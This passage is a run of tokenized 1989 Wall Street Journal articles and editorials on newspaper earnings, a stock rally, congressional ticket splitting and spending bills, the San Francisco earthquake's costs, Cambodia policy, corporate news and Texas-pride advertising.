a share , down 37.5 cents . +Analysts said the company 's troubles mirror those of the industry . +Retail advertising , which often represents half of the advertising volume at most daily newspapers , largely is n't rebounding in the second half from extended doldrums as expected . +At the same time , newspapers are bedeviled by lagging national advertising , especially in its financial component . +Dow Jones & Co. recently reported net fell 9.9 % , a reflection , in part , of continued softness in financial advertising at The Wall Street Journal and Barron 's magazine . +`` We expect next year to be a fairly soft year in newspaper-industry advertising , '' said John Morton , an analyst for Lynch , Jones & Ryan . +`` Next year , earnings will hold steady , but we just do n't see a big turnaround in the trend in advertising . '' +John S. Reidy , an analyst for Drexel Burnham Lambert Inc. , said , `` The Times faces the same problem of other publishers : linage is down . +It will be hard to do handstands until real linage starts heading back up . '' +In the quarterly report , Arthur Ochs Sulzberger , New York Times Co. chairman and chief executive officer , said negative factors affecting third-quarter earnings will continue . +Analysts agreed with company expectations that operating profit will be down this year and in 1990 . +Mr. Sulzberger said the scheduled opening of a new color-printing plant in Edison , N.J. , in 1990 would involve heavy startup and depreciation costs . +`` With the Edison plant coming on line next summer , the Times is facing some tough earnings comparison in the future , '' said Peter Appert , an analyst with C.J. Lawrence , Morgan Grenfell . +`` But many newspapers are facing similar comparisons . '' +The sale of the company 's cable franchise brought an after-tax gain of $ 193.3 million , part of which will be used to reduce debt . +The company also has a stock-repurchase plan . +Analysts said they were impressed by the performance of the company 's newspaper group , which consists of the Times , 35 regional newspapers and a one-third interest in the International Herald Tribune ; group operating profit for the quarter increased slightly to $ 34.9 million from $ 34.5 million on flat revenue . +Drexel Burnham 's Mr. Reidy pointed out that `` profits held up in a tough revenue environment . +That 's a good sign when profits are stable during a time revenue is in the trough . +Investors celebrated the second anniversary of Black Monday with a buying spree in both stocks and bonds . +But the dollar was mixed . +Stock and bond investors were cheered by last month 's encouragingly low inflation rate . +This news raised hopes for further interest-rate cuts . +Treasury-bond prices immediately rallied , setting the stock market rolling from the opening bell . +The Dow Jones Industrial Average , up about 60 points in mid-afternoon , finished with a gain of 39.55 points , to 2683.20 . +That brought the average 's cumulative gain this week to about 114 points . +Since the 1987 crash , the industrials have soared more than 54 % , and the widely watched market barometer is about 4 % below its record high set earlier this month . +The stock-market rally was led by blue-chip issues , but , unlike Monday 's rebound , was broadly based . +Indeed , over-the-counter stocks , led by technology issues , outleaped the industrial average . +The Nasdaq Composite Index soared 7.52 , or 1.6 % , to 470.80 , its highest one-day jump in points this year . +Many takeover-related stocks rose after news that a group obtained financing commitments for the proposed buy-out of American Medical International Inc . +Among the biggest winners were brokerage-house stocks , responding to heavy trading volume . +The government said consumer prices rose only 0.2 % last month . +Economists expected twice as large an increase . +That news , plus recent signs of economic sluggishness , greatly increases pressure on the Federal Reserve to ease credit further , which in turn would be good news for stocks , investment managers say . +`` I see a lot of evidence indicating a slower economy , and that means my interest-rate outlook has a downward tilt , '' said Garnett L. Keith Jr. , vice chairman of Prudential Insurance Co. of America , one of the nation 's largest institutional investors . +Fed officials probably wo n't drive down rates immediately , Mr. Keith said . +Despite the inflation news , several Fed officials still fear consumer-price pressures will intensify because they insist the economy is stronger than generally believed . +But Wall Street analysts expect further signs of economic weakness in government reports during the next few weeks . +If so , that will cinch the case for another shot of credit-easing within a month or so . +That , in turn , is expected to persuade banks to cut their prime lending rate , a benchmark rate on many corporate and consumer loans , by half a percentage point , to 10 % . +`` We 're not out of the woods yet by any means , '' said George R. Mateyo , president and chief executive of Carnegie Capital Management Co. , Cleveland . +But the economy `` is slowing enough to give the Federal Reserve leeway to reduce interest rates . '' +But many individual investors are leery about stocks because of fresh signs of fragility in the huge junk-bond market . +Investors also are anxious about today 's `` witching hour , '' the monthly expiration of stock-index futures and options , and options on individual stocks . +This phenomenon often makes stock prices swing wildly at the end of the trading session . +In major market activity : Stock prices surged in heavy trading . +Volume on the New York Stock Exchange rose to 198.1 million shares from 166.9 million Wednesday . +Gaining Big Board issues outnumbered decliners by 1,235 to 355 . +The dollar was mixed . +In New York late yesterday , it was at 141.70 yen , up from 141.45 yen late Wednesday . +But it fell to 1.8470 marks from 1.8485 . +Tuesday 's rout of a GOP congressional hopeful in a Mississippi district that has n't backed a Democratic presidential candidate since Adlai Stevenson is another reminder that , at least at the federal level , political `` ticket splitting '' has been on the rise over the past half century . +In only one presidential election year prior to 1948 did more than 20 % of the nation 's congressional districts choose a different party 's candidate for the White House than for the House of Representatives . +Now that percentage routinely equals a third and twice has been above 40 % . +As we know , voters tend to favor Republicans more in races for president than in those for Congress . +In every presidential election over the past half century , except for the Goldwater presidential candidacy , the GOP has captured a greater percentage of the major-party popular vote for president than it has of congressional seats or the popular vote for Congress . +Prior to 1932 , the pattern was nearly the opposite . +What accounts for the results of recent decades ? +A simple economic theory may provide at least a partial explanation for the split personality displayed by Americans in the voting booth . +The theory relies on three assumptions : +1 -RRB- Voters can `` buy '' one of two brands when they select their political agents -- a Republican brand that believes in the minimalist state and in the virtues of private markets over the vices of public action , and a Democratic brand that believes in big government and in public intervention to remedy the excesses attendant to the pursuit of private interest . +2 -RRB- Congressional representatives have two basic responsibilities while voting in office -- dealing with national issues -LRB- programmatic actions such as casting roll call votes on legislation that imposes costs and\/or confers benefits on the population at large -RRB- and attending to local issues -LRB- constituency service and pork barrel -RRB- . +3 -RRB- Republican congressional representatives , because of their belief in a minimalist state , are less willing to engage in local benefit-seeking than are Democratic members of Congress . +If these assumptions hold , voters in races for Congress face what in economic theory is called a prisoner 's dilemma and have an incentive , at the margin , to lean Democratic . +If they put a Republican into office , not only will they acquire less in terms of local benefits but their selected legislator will be relatively powerless to prevent other legislators from `` bringing home the bacon '' to their respective constituencies . +Each legislator , after all , is only one out of 535 when it comes to national policy making . +In races for the White House , a voter 's incentive , at the margin , is to lean Republican . +Although a GOP president may limit local benefits to the voter 's particular district\/state , such a president is also likely to be more effective at preventing other districts\/states and their legislators from bringing home the local benefits . +The individual voter 's standing consequently will be enhanced through lower taxes . +While this theory is exceedingly simple , it appears to explain several things . +First , why ticket splitting has increased and taken the peculiar pattern that it has over the past half century : Prior to the election of Franklin Roosevelt as president and the advent of the New Deal , government occupied a much smaller role in society and the prisoner 's dilemma problem confronting voters in races for Congress was considerably less severe . +Second , it explains why voters hold Congress in disdain but generally love their own congressional representatives : Any individual legislator 's constituents appreciate the specific benefits that the legislator wins for them but not the overall cost associated with every other legislator doing likewise for his own constituency . +Third , the theory suggests why legislators who pay too much attention to national policy making relative to local benefit-seeking have lower security in office . +For example , first-term members of the House , once the most vulnerable of incumbents , have become virtually immune to defeat . +The one exception to this recent trend was the defeat of 13 of the 52 freshman Republicans brought into office in 1980 by the Reagan revolution and running for re-election in 1982 . +Because these freshmen placed far more emphasis on their partisan role -- spreading the Reagan revolution -- in national policy making , they were more vulnerable to defeat . +Fourth , the theory indicates why the Republican Party may have a difficult time attracting viable candidates for congressional office . +Potential candidates may be discouraged from running less by the congressional salary than by the prospect of defeat at the hands of a Democratic opponent . +To the extent that potential Republican candidates and their financial backers realize that the congressional prisoner 's dilemma game works to their disadvantage , the Republican Party will be hindered in its attempts to field a competitive slate of congressional candidates . +Fifth , the theory may provide at least a partial reason for why ticket splitting has been particularly pronounced in the South . +To the extent that Democratic legislators from the South have held a disproportionate share of power in Congress since 1932 and have been able to translate such clout into relatively more local benefits for their respective constituencies , voters in the South have had an especially strong incentive to keep such Democrats in office . +Finally , the theory suggests why Republicans generally have fared better in Senate races than in campaigns for the House . +Since local benefit-seeking matters more and national policy making matters less in the lower chamber of Congress , this is precisely the pattern one would expect if Republicans are less willing to engage in local benefit-seeking than their Democratic counterparts . +Is there any empirical support for this theory ? +Three pieces of evidence corroborate the key assumption that Democratic legislators are more willing to engage in local benefit-seeking than their Republican colleagues . +First , economists James Bennett and Thomas DiLorenzo find that GOP senators turn back roughly 10 % more of their allocated personal staff budgets than Democrats do . +To the extent that the primary duty of personal staff involves local benefit-seeking , this indicates that political philosophy leads congressional Republicans to pay less attention to narrow constituent concerns . +Second , if the key assumption is valid , Democrats should have lower attendance rates on roll-call votes than Republicans do to the extent that such votes reflect national policy making and that participating in such votes takes away from the time a legislator could otherwise devote to local benefit-seeking . +This is indeed what the data indicate , particularly in the case of the House . +The Democratic House attendance rate has not exceeded the Republican House attendance rate since 1959 . +Finally , as shown in the table , Democrats allocate a higher proportion of their personal staffs to district offices -- where local benefit-seeking duties matter more and national policy making activities matter less relative to Washington offices . +An examination of changes in personal staffing decisions in the Senate between 1986 and 1987 -LRB- when control of that body changed party hands -RRB- , moreover , reveals that the personal staffing differences noted in the table can not be attributed to the disproportionate control Democrats exercise , due to their majority-party status , over other resources such as committee staff . +An additional piece of evidence from the Senate : Holding other factors constant , such as incumbency advantages and regional factors , the difference between popular votes for Republican presidential and senatorial candidates in states conducting a Senate election turns out to be a positive function of how onerous the federal government 's tax burden is per state -LRB- a progressive tax rate hits higher-income states harder -RRB- . +Put more simply , GOP candidates for president are looked on more kindly by voters than Republican candidates for the Senate when the prisoner 's dilemma is more severe . +Moreover , ticket splitting appears to take the same peculiar pattern at the state government level as it does at the federal level . +State government is more typically split along Republican-governor\/Democratic-legislature lines than the reverse . +A cross-state econometric investigation , furthermore , reveals that , holding other factors constant , the difference between a state 's major-party vote going to the Republican gubernatorial candidate and the Republican share of the lower state house is a positive function of the state tax rate . +In sum , at both the federal and state government levels at least part of the seemingly irrational behavior voters display in the voting booth may have an exceedingly rational explanation . +Mr. Zupan teaches at the University of Southern California 's business school . +A House-Senate conference approved a nearly $ 17 billion State , Justice and Commerce Department bill that makes federal reparations for Japanese-Americans held in World War II internment camps a legal entitlement after next Oct. 1 . +The measure provides no money for the promised payments until then , but beginning in fiscal 1991 , the government would be committed to meeting annual payments of as much as $ 500 million until the total liability of approximately $ 1.25 billion is paid . +The action abandons earlier efforts to find offsetting cuts to fund the payments , but is widely seen as a more realistic means of expediting reparations first authorized in 1988 . +The action came as Congress sent to President Bush a fiscal 1990 bill providing an estimated $ 156.7 billion for the Departments of Labor , Education , Health and Human Services . +Final approval was on a 67-31 roll call in the Senate , which sets the stage for a veto confrontation with Mr. Bush over the issue of publicly financed abortions for poor women . +Reversing an eight-year federal policy , the measure supports Medicaid abortions in cases of rape and incest , but Mr. Bush has so far refused to support any specific exemption beyond instances in which the mother 's life is in danger . +Mr. Bush 's veto power puts him a commanding position in the narrowly divided House , but a vote to override his position could well pick up new support because of the wealth of health and education programs financed in the underlying bill . +The measure before the conference yesterday funds the Departments of State , Justice and Commerce through fiscal 1990 . +An estimated $ 1.32 billion is provided for next year 's census , and negotiators stripped a Senate-passed rider seeking to block the counting of illegal aliens . +Elsewhere in the Commerce Department , nearly $ 191.2 million is preserved for assistance programs under the Economic Development Administration . +And in a footnote to the fall of House Speaker James Wright this year , the conference voted to rescind $ 11.8 million in unspent EDA funds for a Fort Worth , Texas , stockyards project that figured in ethics charges against the former Democratic leader . +Fiscal pressures also forced the adoption of new fees charged by federal agencies , and an 18 % increase in the Securities and Exchange Commission 's budget would be financed entirely by an added $ 26 million in filing fees . +In an unprecedented step , the measure anticipates another $ 30 million in receipts by having the Federal Bureau of Investigation charge for fingerprint services in civil cases -- a change that is almost certain to increase Pentagon costs in processing personnel and security clearances . +The bill does n't include an estimated $ 1.9 billion in supplemental anti-drug funds for Justice Department and law-enforcement accounts that are still in conference with the House . +But yesterday 's agreement would make it easier for state governments to handle the promised aid by deferring for one year a scheduled 50 % increase in the required state matching funds for law-enforcement grants . +Similarly , the measure adjusts the current funding formula to promise smaller states such as New Hampshire and Delaware a minimum allocation of $ 1.6 million each in drug grants , or three times the current minimum . +The odd mix of departments in the bill makes it one of the more eclectic of the annual appropriations measures , and the assorted provisions attached by lawmakers run from $ 1.5 million for a fish farm in Arkansas to a music festival in Moscow under the United States Information Agency . +Lawmakers scrapped all of a $ 7.4 million State Department request for the 1992 Expo in Seville , Spain , but agreed elsewhere to $ 15,000 for an oil portrait of former Chief Justice Warren Burger . +Senate Commerce Committee Chairman Ernest Hollings -LRB- D. , S.C. -RRB- , who also chairs the Senate appropriations subcommittee for the department , attached $ 10 million for an advanced technology initiative , including work on high-definition television . +His Republican counterpart , Sen. Warren Rudman -LRB- R. , N.H. -RRB- , has used his position to wage a legislative war with the conservative board of the Legal Services Corp . +An estimated $ 321 million is provided to maintain the program , but Mr. Rudman also succeeded in attaching language seeking to curb the authority of the current board until new members are confirmed . +The effective date of any new regulations by the current board would be delayed until Oct. 1 next year , and the bill seeks to reverse efforts by the corporation to cut off funds to service organizations such as the Food Research and Action Center . +The bill also provides $ 620.5 million to meet U.S. contributions to international organizations and $ 80 million for peace-keeping activities . +Both accounts reflect significant increases from fiscal 1989 , although the amount for peace-keeping shows a 27 % cut from the administration 's request . +Mercury Savings & Loan Association said it retained Merrill Lynch Capital Markets as its lead investment banker to advise it regarding a possible sale or other combination of the Huntington Beach , Calif. , thrift . +Mercury , which has assets of more than $ 2 billion and 24 branches in California , said the action to improve its regulatory capital position is related directly to new capital requirements mandated by recently adopted federal legislation . +Mercury also said it extended its two-year advisory relationship with Montgomery Securities of San Francisco . +Mercury 's stock closed yesterday at $ 4.875 , unchanged in composite trading on the New York Stock Exchange . +Watching Congress sweat and grimace through its annual budget labors , fighting the urge to spend more , we 're reminded of those late-night movies in which the anguished serial killer turns himself in to police and says , `` Stop me before I kill again . '' +The Members know they 're doing wrong , but they need help to restrain their darker compulsions . +Arkansas Democrat David Pryor spilled his guts on the Senate floor the other day after he 'd joined the Finance Committee 's early-morning pork-barrel revels : `` I must tell you ... +I come to the floor tonight as one who ended up with a busload of extraneous matter . +It was nothing more or nothing less than a feeding frenzy . '' +He was turning himself in . +`` Frankly , as I was walking back to get in my car , I heard many , many people ... opening champagne bottles and celebrating individual victories that some of us had accomplished in getting our little deal in the tax bill and winking at this person for slipping this in , '' he said . +`` As I was driving home , I did not feel very good about myself . '' +We can applaud Mr. Pryor 's moment of epiphany , even as we understand that he and his confreres need restraint lest they kill again . +A good place to start the rehabilitation is a `` legislative line-item veto '' bill now being offered by Indiana Senator Dan Coats . +The Coats bill , which already has 32 Senate co-sponsors , is n't a pure line-item veto because it would apply only to spending bills . +Instead it 's a form of `` enhanced rescission , '' giving a President a chance to rescind , or strike , specific spending items that just go too far . +Under the proposal , a President would have a chance twice each year to return a package of `` rescissions '' to the Hill -- once when he proposes his budget and again after Congress disposes . +Congress would have 20 days to reject the package with a 50 % majority , but then a President could veto that rejection . +Congress would then need the usual two-thirds majority to override any veto . +The proposal would restore some discipline erased from the budget process by the 1974 Budget `` Reform '' Act . +Before 1974 , a President could `` impound , '' or refuse to spend , funds appropriated by Congress . +Presidents Kennedy and Johnson were both big users of the impoundment power , but Congress saw its chance against a weakened President Nixon and stripped it away . +Today a President can still send up spending rescissions , but they 're meaningless unless Congress has a guilty conscience and changes its mind . +This is like asking foxes to feel remorse about chickens , and naturally rescissions are almost never approved . +In 1987 , President Reagan sent 73 rescissions back to the Hill , but only 3 % of the spending total was approved by Congress . +Senator Coats 's proposal would let the proposed spending cuts take place automatically unless Congress acts . +The Members could still try to serve their constituents with special-interest goodies , but the police -LRB- in the form of a President -RRB- would be there with a straitjacket if they really get crazy , as they do now . +Mr. Coats plans to offer his proposal as an amendment to a bill to raise the federal debt limit before the end of the month . +President Bush has endorsed the idea , and at least 50 sitting Senators have voted to support enhanced rescission authority in the past . +We 're told Senator Pryor is n't yet a co-sponsor , but if he and his colleagues are serious about kicking their compulsions , they 'll sign up . +Business and civic operations lurched back toward normalcy here as congressional officials estimated that the price tag for emergency assistance to earthquake-ravaged California would total at least $ 2.5 billion . +`` That is a minimum figure , and I underscore minimum , '' said House Speaker Thomas Foley -LRB- D. , Wash . -RRB- after conferring with California lawmakers . +`` It 's impossible to put an exact figure on it at this time . '' +The Office of Management and Budget has begun looking into legislation to provide more funds for earthquake repairs . +And California 's 45-member delegation in the House is expected to propose that emergency funds be added to a stop-gap spending bill that the House Appropriations Committee is to consider Monday . +For the most part , major corporations ' headquarters and plants were unaffected or only slightly damaged by Tuesday 's earthquake , which registered 6.9 on the Richter scale . +One of the last big employers in the Silicon Valley to report in , Seagate Technology , said it expects to be back at full strength Monday . +The day before the quake , Seagate completed three days of emergency training and drills . +Echoing the response of almost all big corporations in the Bay Area , Don Waite , Seagate 's chief financial officer , said , `` I would n't expect this to have any significant financial impact . '' +The city 's recovery from the earthquake was uneven . +Banks indicated they were operating at greater than 90 % of their usual capacity , but a Nob Hill hotel said tourists had fled , leaving the previously full hotel with an 80 % vacancy rate . +City crews tallied the wreckage to buildings , but lacked a clear sense of how gravely transportation arteries were disabled . +Among the city 's banks , Bank of America said all but eight of its 850 branches were open . +The closed branches , in San Francisco , Hayward , Santa Clara and Santa Cruz , sustained structural damage . +Power failures kept just seven of its 1,500 automated-teller machines off-line . +Securities-trading operations were moved to Bank of America 's Concord office , and foreign-exchange trading operations were shifted to Los Angeles , the bank said . +Wells Fargo & Co. said its Emergency Operations Committee -- which met all night Tuesday -- moved its global-funds transfer system to El Monte , Calif. , 500 miles to the south . +Only five of 496 branches statewide remain closed , while 23 of 600 automated-teller machines remained out of order . +The most extensive damage was in small towns near the quake 's epicenter , 80 miles south of San Francisco . +Santa Cruz County estimates total damage at nearly $ 600 million . +Santa Clara County has a running total so far of $ 504 million , excluding the hard-hit city of Los Gatos . +Oakland officials were still uncertain about the magnitude of structural damage late yesterday ; a section of I-880 , a twotiered highway , collapsed in Oakland , causing a majority of the deaths resulting from the quake . +San Francisco Mayor Art Agnos estimated that damages to the city total $ 2 billion . +That includes dwellings in the ravaged Marina district that must be demolished , peeled business facades south of Market Street , and houses in the city 's outer Richmond district that were heaved off their foundations . +Many streets and sidewalks buckled , and subterranean water mains and service connections ruptured . +The federal funds would go to a range of programs , including the Federal Emergency Management Agency , highway construction accounts and the Small Business Administration , according to Rep. Vic Fazio -LRB- D. , Calif . -RRB- . +FEMA , which coordinates federal disaster relief , is already strapped by the costs of cleaning up after Hurricane Hugo , which hit the Carolinas last month . +It is likely to get as much as $ 800 million initially in additional funds , and eventually could get more than $ 1 billion , according to Mr. Fazio , a member of the House Appropriations Committee . +White House spokesman Marlin Fitzwater said there is enough money on hand to deal with immediate requirements . +The Bush administration has at its disposal $ 273 million in funds remaining from the $ 1.1 billion Congress released for the cleanup after Hurricane Hugo . +`` We feel we have the money necessary to handle the immediate , short-term requirements , '' Mr. Fitzwater said . +He added that the Office of Management and Budget , the Transportation Department and other agencies are `` developing longer-term legislation '' that should be ready soon . +Much of the cost of cleaning up after the earthquake will involve repairing highways and bridges . +California lawmakers are seeking changes in rules governing the federal highway relief program so more money can be made available for the state . +Some things ca n't be repaired . +The Asian Art Museum in Golden Gate Park reports $ 10 million to $ 15 million in damage , including shattered porcelains and stone figures . +Its neighbor , the De Young Museum , totaled $ 3 million to $ 5 million in structural damage and shattered sculpture . +The city 's main library is closed because of fissures that opened in its walls , and marble facings and ornamental plaster at the Beaux Arts City Hall broke off in the temblor . +The ground along the Embarcadero the street that skirts the city 's eastern boundary and piers -- dropped six inches after the quake , wreaking major damage to at least one of the piers . +At San Francisco International Airport , shock waves wrecked the control tower , knocking down computers and shattering glass . +Offices of the city 's Rent Board were destroyed . +Mayor Agnos 's $ 2 billion estimate does n't include damage to freeway arteries leading into the city , some of which remained closed . +A major chunk of the $ 2 billion is expected to be eaten up by overtime for city workers deployed in the emergency , said a spokesman for Mr. Agnos . +`` All of the city 's $ 5.9 million emergency reserve was spent in the first 24 hours '' on overtime salaries , he said . +Insurers struggled to to get a firm grasp on the volume of claims pouring into their offices . +At Fireman 's Fund Corp. , a spokesman said 142 claims were received in the first 24 hours after the quake , and the company is braced for as many as 5,000 claims from its 35,000 residential and 35,000 business policyholders in the affected area . +`` Claims range from a scratched fender -- and there were an awful lot of cars damaged in this -- to a major processing plant , '' a spokesman said . +`` We 're delivering a check for $ 750,000 to an automotive business in Berkeley that burned on Tuesday . '' +Fireman 's is part of a $ 38 million syndicate that supplies business interruption insurance to the city on the Bay Bridge , which must pay employees during the three weeks or more it is expected to be out of service and deprived of toll income . +California lawmakers want to eliminate temporarily a $ 100 million cap on the amount of federal highway relief for each state for each disaster , as well as a prohibition on using the emergency highway aid to repair toll roads . +In addition , under the highway-relief program , the federal government provides 100 % of emergency highway aid for only the first 90 days of a repair effort . +After that , the federal share diminishes . +For interstate highways , the federal share normally would drop to 90 % of the cost of repairs , and the state would have to pick up the remainder of the cost . +But lawmakers want to extend the period for 100 % federal funding for several months . +Those changes also would apply to two areas hit hard by Hurricane Hugo -- South Carolina and the U.S. Virgin Islands , according to an aide to Rep. Fazio . +Meanwhile , the FEMA announced a toll-free telephone number -LRB- 800-462-9029 -RRB- to expedite service to victims of the earthquake . +Lines will be available 24 hours a day to take applications for such disaster relief as temporary housing and emergency home repairs by phone . +Transportation officials are expecting utter traffic pandemonium beginning Monday and growing worse over the next several weeks . +Some 250,000 cars normally cross the closed Bay Bridge between Oakland and San Francisco daily . +Officials say it is clear that alternate routes ca n't handle the overflow . +The state is calling in a flotilla of navy landing vessels and other boats to expand ferry service across the bay and hopes to add numerous new bus routes and train departures to help alleviate the traffic problem . +Moreover , state officials are urging freight haulers to bypass many of the area 's main highways and to travel late at night or during predawn hours . +Even so , `` We 're looking for chaos , '' said George Gray , a deputy district director at the California Department of Transportation . +`` If there 's any way you can do it , you ought to go to Idaho and go fishing for a while . '' +Most of San Francisco 's tourists and business travelers already have left -- despite hotel 's offers of rate cuts . +`` Everyone left , '' said Peter Lang , reservations manager of the Mark Hopkins Hotel . +The Westin St. Francis hotel , which survived the 1906 earthquake and fire , currently is less than 50 % occupied . +`` We still have our die-hard baseball fans , '' a spokesman said . +`` One lady from New York said she 's not going home until the -LCB- World Series -RCB- is over . '' +Gerald F. Seib and Joe Davidson in Washington contributed to this article . +Is an American Secretary of State seriously suggesting that the Khmer Rouge should help govern Cambodia ? +Apparently so . +There are no easy choices in Cambodia , but we ca n't imagine that it benefits the U.S. to become the catalyst for an all-too-familiar process that could end in another round of horror in Cambodia . +Now that Vietnam appears to have pulled out its occupation army , the State Department is talking again about accepting an `` interim '' coalition government in the Cambodian capital of Phnom Penh . +The coalition would include the current Vietnamese-backed Hun Sen regime , the two non-communist resistance groups led by Son Sann and Prince Sihanouk , and the Khmer Rouge . +The aim would be to end the guerrilla war for control of Cambodia by allowing the Khmer Rouge a small share of power . +The State Department says that any Khmer Rouge participation would have to be `` minimal . '' +The usual problem with including communists in `` interim '' coalition governments is that their ideology and methods require they squeeze out everyone else . +Recall that Nicaragua 's Sandinistas came into Managua as partners in a coalition government with anti-Somoza moderates . +Within two years , the moderates were exiled or in prison , Nicaragua had gone communist , and the Sandinistas were building one of the biggest armies in Latin America and threatening their neighbors . +In Laos , when the Western powers bowed to pressure for such a coalition it turned out they were opening the door to communist domination . +Even Mao Tse-tung 's China began in 1949 with a partnership between the communists and a number of smaller , non-communist parties . +What complicates the scene in Cambodia is that the current regime is already communist , as are its Vietnamese overseers back in Hanoi , as are the Khmer Rouge -- who are the strongest of the three guerrilla groups . +It 's not clear which crew of communists might prevail in a coalition government , but the one good bet is that the non-communists would disappear . +That would leave Hun Sen and the Khmer Rouge . +The Hun Sen regime has sent thousands of conscript laborers to die of malaria and malnourishment while building Cambodia 's equivalent of the Berlin Wall near the Thai border . +The Khmer Rouge , however , carry an unsurpassed record for Cambodian tyranny . +These utopians caused the deaths -- by starvation , disease or execution -- of well over one million Cambodians . +The Cambodian horror was so bad that the Vietnamese occupation in 1978 was a perverse form of relief . +The world might want to believe that the Khmer Rouge ca n't still be such bad guys , just as in the late 1970s it was reluctant to credit the reports of genocide then taking place . +But there is no solid evidence that the Khmer Rouge have changed . +Some of our sources in Thailand say the notorious old Khmer Rouge leader , Pol Pot , has been holed up this summer in Khmer Rouge camps near the Thai-Cambodian border . +So it 's difficult to swallow the notion that Mr. Baker is willing to accept conditions that would help the Khmer Rouge set up shop again in Phnom Penh . +True , Prince Sihanouk backs the idea of such a coalition , at least for this week . +But Prince Sihanouk has backed all sorts of ideas over the years , and done rather better by himself than by Cambodia . +Nor should the U.S. worry much about offending China , which still aids the Khmer Rouge . +It 's time the State Department recognized that China does not play by gentlemen 's rules . +For the U.S. to lend even the slightest support to the most infamous killers on Indochina 's bleak scene could only disturb America 's allies elsewhere . +It would be entirely rational for communist insurgents in countries such as the Philippines or Peru to conclude the following : Fight viciously enough and the U.S. , under the banner of pragmatism , might eventually help negotiate your way to victory . +U.S. diplomacy has done it before , and it will likely do it again . +The administration and Congress have lately tangoed around the idea of sending military aid to Cambodia 's non-communists . +But now the possibility of `` diplomatic movement '' -LRB- Vietnam 's withdrawal , the Baker initiative -RRB- has put that plan on hold , with the proviso that if the going got rough , the U.S. would then rearm the opposition . +Why the timidity ? +At the very least , the odds are heavily weighted against the prospects of preventing the Khmer Rouge and Cambodia 's communists from ultimately moving against their opponents . +When that day comes , it would be particularly awful to know that the United States sat on military aid and deprived these people of the means to settle their fate with at least a little honor . +Michael F. Harris , 53 , was named executive vice president , North America , for the Financial Times , the business newspaper published by this company that also has interests in book publishing , fine china , oil services and investment banking . +Mr. Harris had been vice president for the newspaper 's advertising in New York . +He takes additional responsibility for newspaper sales and distribution of the Financial Times in North America . +Laurance V. Allen , 44 , who had been director for North America , resigned to pursue other business interests and do some consulting . +Cipher Data Products Inc. posted a net loss of $ 14.2 million , or 97 cents a share , for its fiscal first quarter , compared with net income of $ 3.8 million , or 27 cents a share , a year ago . +Revenue for the quarter ended Sept. 30 fell 20 % , to $ 41.3 million from $ 51.9 million in the year-earlier period . +Cipher Data , a San Diego maker of magnetic tape peripherals and optical disc drives , said the loss included reserves of $ 3.8 million related to a corporate restructuring . +The restructuring calls for a 24 % reduction in its work force over the next two months , affecting about 525 jobs , Cipher Data said . +It is eliminating the positions of president and chief operating officer , formerly held by Edward L. Marinaro . +Cipher Data said Mr. Marinaro consequently has resigned from those posts and from the company 's board . +Mr. Marinaro could n't immediately be reached for comment . +FileNet Corp. , Costa Mesa , Calif. , said it expects to report a third-quarter loss of about $ 1.8 million , or 17 cents a share , because of a $ 2.5 million reserve to be taken against potential losses on a contract with the state of California . +Revenue is estimated at $ 18.6 million . +The maker of document image processing equipment said the state procurement division had declared FileNet in default on its contract with the secretary of state uniform commercial code division . +FileNet said it does n't believe the state has a valid basis of default and is reviewing its legal rights under the contract , but said it ca n't predict the outcome of the dispute . +The disagreement centers on testing deadlines and other issues involving a FileNet system installed earlier this year . +State officials could n't be reached for comment late yesterday . +FileNet noted that it had cash and marketable securities totaling $ 22.5 million on Sept. 30 , and stockholders ' equity is $ 60.1 million . +The company made the announcement after the close of the markets , where its stock finished at $ 10.75 , up 25 cents , in over-the-counter trading . +Clinton Gas Systems Inc. said it received a contract from Timken Co. , Canton , Ohio , to manage the natural gas purchasing , scheduling and transportation activities for Timken 's seven Ohio and two Pennsylvania plants . +Clinton and Timken agreed not to disclose the value of the contract . +Timken , a producer of bearings and specialty steel , already buys gas from Clinton . +Clinton said in Columbus , Ohio , that its Clinton Gas Marketing unit wants to line up a number of such gas management contracts . +Manufacturers frequently do n't have anyone who is a specialist in natural gas , Clinton said , and a specialist such as Clinton can save them substantial amounts of money . +The scene opens with pinstripe-suited executives -- Easterners , obviously -- glued to cellular phones and hightailing it out of town in chauffeur-driven limousines . +`` The carpetbaggers , '' snorts the narrator with a Texas twang , `` have packed their bags and went . '' +But , he continues , `` They 're forgetting we 're all Texans . +The Lone Star is on the rise again . '' +As the music swells , viewers discover they 're watching a commercial for Lone Star Beer , the pride of Texas , a product of G. Heileman Brewing Co. , a La Crosse , Wis. , unit of Bond Corp . +As the ad 's tone implies , the Texas spirit is pretty xenophobic these days , and Lone Star is n't alone in trying to take advantage of that . +From Chevy trucks to Lipton iced tea to a host of battling banks , the state has been inundated with broadcast commercials and print advertising campaigns celebrating Texans and castigating outsiders . +While advertisers have long appealed to Texans ' state pride and prejudices , the latest trend has been sparked , in part , by the state 's recent hard economic times . +That has taken some of the swagger out of natives who like to brag that Texas is the only state that was once a nation , but it has increased their legendary resentment of outsiders . +In the past , writes Houston Chronicle columnist Jim Barlow , outlanders were accepted only after passing a series of tests to prove they had the `` right '' Texas attitudes and `` of course they had to be dipped for parasites . '' +There is no small irony in the fact that some of the most-jingoistic advertising comes courtesy of -- you guessed it -- outsiders . +Lone Star 's Bond Corp. parent , for instance , hails from Perth , Australia . +North Carolinians , New Yorkers , Californians , Chicagoans and Ohioans own Texas banks . +All kinds of landmark Texas real estate has been snapped up by out-of-staters . +Even the beloved Dallas Cowboys were bought by an Arkansas oil man . +`` Texas has lost its distinctiveness , leaving Texans with a hunger to feel proud about themselves , '' says Stephen Klineberg , a sociology professor at Rice University , Houston . +`` This plays right into the hands of the advertising agencies . '' +For example , the iced-tea radio campaign for Thomas J. Lipton Co. , an Englewood Cliffs , N.J. , unit of Anglo-Dutch Unilever Group , emphatically proclaims : `` Real Texans do not wear dock-siders -- ever . +Real Texans do n't play paddleball , at least I hope not . +This is football country . +And another thing -- real Texans drink Lipton iced tea . '' +In developing that theme at Interpublic Group of Cos . ' Lintas : New York unit , account supervisor Lisa Buksbaum says she made a `` couple of phone calls '' to Dallas ad friends and reported her `` findings '' to a team of writers . +Her findings ? +`` You know , '' she says , `` stereotypical stuff like armadillos , cowboys and football . '' +Not exactly sophisticated market research , but who cares as long as the campaigns work . +And ad agencies insist that they do . +Stan Richards of Richards Group Inc. , Dallas , tells of the Texan who saw the agency 's tear-jerking commercial for First Gibraltar Bank F.S.B. -- complete with the state 's anthem -- and promptly invested $ 100,000 in the thrift 's CDs . +Never mind that First Gibraltar is one of the failed Texas thrifts taken over by outsiders -- in this case , an investor group headed by New York financier Ronald Perelman . +The North Texas Chevy Dealers recently had a record sales month after the debut of ad campaign that thumbs its nose at elite 